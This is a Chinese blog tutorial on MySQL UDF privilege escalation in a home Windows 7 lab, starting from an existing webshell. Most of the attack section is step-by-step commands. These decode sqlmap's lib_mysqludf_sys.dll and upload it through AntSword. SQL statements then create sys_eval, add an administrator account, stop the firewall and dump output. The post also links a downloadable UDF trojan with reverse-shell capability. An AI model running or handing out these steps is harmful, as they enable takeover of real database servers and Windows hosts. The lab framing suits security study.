UDF提权

今天的这篇博客是mysql提权中的一种。

0x00 环境与前提

1. 本机搭建win7专业版虚拟环境
2. phpStudy 2018最新版本 
3. 运行的版本是php-5.4.45-nts + IIS
4. mysql版本Ver 14.14 Distrib 5.5.53,for Win32 (AMD64)
5. win7 phpstudy中搭建帝国CMS,并拿到该网站的webshell

环境搭建链接:这个文章还没有写先占个坑

0x01 UDF函数简介

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。UDF官方介绍以及其函数定义请参考(http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html、https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html),除了常见的UDF提权外,其实Udf还有更多更广泛的应用,例如https://github.com/mysqludf/repositories,就提供了非常多的应用:

lib_mysqludf_fPROJ4:一组扩展的科学函数,将地理经度和纬度坐标转换为笛卡尔坐标,反之亦然。
lib_mysqludf_json:用于将关系数据映射到JSON格式的函数的UDF库。
lib_mysqludf_log:用于将调试信息写入日志文件的UDF库。
lib_mysqludf_preg:直接在MySQL中使用PCRE正则表达式
lib_mysqludf_stat:用于统计分析的UDF库。
lib_mysqludf_str:一个带有MySQL附加字符串函数的UDF库
lib_mysqludf_sys:具有与操作系统交互的功能的UDF库。这些函数允许您与MySQL运行的执行环境进行交互。
lib_mysqludf_xml:一个UDF库,用于直接从MySQL创建XML输出。

0x02 提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)

(4)可以将udf.dll写入到相应目录的权限。

0x03 上传UDF

如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。

udf.dll这个文件不容易找到的(譬如我),后来才知道原来sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/目录下,里面有windows和linux,选择windows,里面有32位和64位。

注意:

这里的位数是mysql的位数,并不是对方系统的位数。
sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,在sqlmap/extra/cloak目录下的cloak.py就是。

解密UDF

python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
python cloak.py -d -i E:\Python27\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_

解密之后会在当前目录下生成dll文件

1.png

利用中国蚁剑先在靶机C:\phpStudy\PHPTutorial\MySQL\lib目录下创建plugin文件夹,再将32位的lib_mysqludf_sys.dll文件上传到plugin目录下。

2.png

0x04 提权步骤

1. 本机连接win7的mysql

不知道为什么中国蚁剑和菜刀都连接不上mysql,只能在本地dos命令框中连接了,本地的navicat也能连接。

[外链图片转存失败(img-rlTvnpmS-1563874861717)(https://i.loli.net/2019/07/22/5d3587c8e47f530995.png)]

连接后,创建cmdshell函数发现结果报错了,这里需要注意的是,需要创建lib_mysqludf_sys.dll中存在的函数才可以,可以用十六进制编辑器打开lib_mysqludf_sys.dll,可以看到有如下这些函数可以创建

4.png

lib_mysqludf_sys.dll lib_mysqludf_sys_info lib_mysqludf_sys_info_deinit lib_mysqludf_sys_info_init sys_bineval 
sys_bineval_deinit sys_bineval_init sys_eval sys_eval_deinit sys_eval_init sys_exec sys_exec_deinit 
sys_exec_init sys_get sys_get_deinit sys_get_i sys_set_deinit sys_set_init

2. 用到的语句

select name from mysql.func  #查看创建函数
select sys_eval('cmd','whoami') 
create function sys_eval returns string soname 'lib_mysqludf_sys.dll'  #创建函数
select sys_eval('net user zth 123456 /add & net localgroup administrators zth /add')   #创建用户zth密码123456并添加超级管理员
select sys_eval('net user') #查看用户
select sys_eval('netstat -an') #查看端口
select sys_eval('net stop sharedacess')  #停止防火墙
delete from mysql.func where name='sys_eval'  #删除函数
select sys_eval('netstat -an') into outfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.txt'; #保存结果到test.txt文件中

第一次创建函数的时,创建的是sys_exec这个函数,可是这个函数在执行一些语句时,执行结果在另一个命令框中一闪而过,如果想要保留查询结果的话,就需要用到以下语句,然后通过中国蚁剑下载test.txt到本机。sys_exec () can run a python program

select sys_eval('命令') into outfile '路径\\test.txt'; #保存结果到test.txt文件中

然而,在用sys_eval函数执行时,却能很好的返回信息。
5.png
6.png

不过这两个函数,都能执行提权的语句。

3. 执行提权语句
7.png

可以看到用户aaa已经是管理员权限,查询bbb用户也是管理员权限,不再截图。
8.png

0x05 通过蚁剑上传UDF木马

上传木马时,phpstudy切换的版本是php-5.4.45 + Apache

在版本php-5.4.45-nts + IIS 中,UDF木马运行不起来,有报错。

通过蚁剑上传UDF木马到/WWW/upload/e/admin目录下(这个木马是暗月大佬写的)

1.在火狐浏览器上访问登录

a.png
19.png

2.里面有自带的一些命令,用户也可以自己写明令,然后点击执行即可。

16.png

3.这里创建cmdshell函数,有回显语句的提示

17.png

4.提交添加超级管理员命令。执行成功。提权成功

18.png

当然这个木马还有反弹shell功能。下面也有一些命令的提示

20.png
sqlmap里的udf(windows下)和解码后的udf文件,以及暗月大佬的UDF木马链接:
链接:https://pan.baidu.com/s/1c-lv5pEnx64bOTGecFeVCw
提取码:w9bp

参考:
https://www.bilibili.com/video/av41942769/?p=26

https://blog.csdn.net/m0_37438418/article/details/80289025

https://www.jianshu.com/p/5b34c1b6dee7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值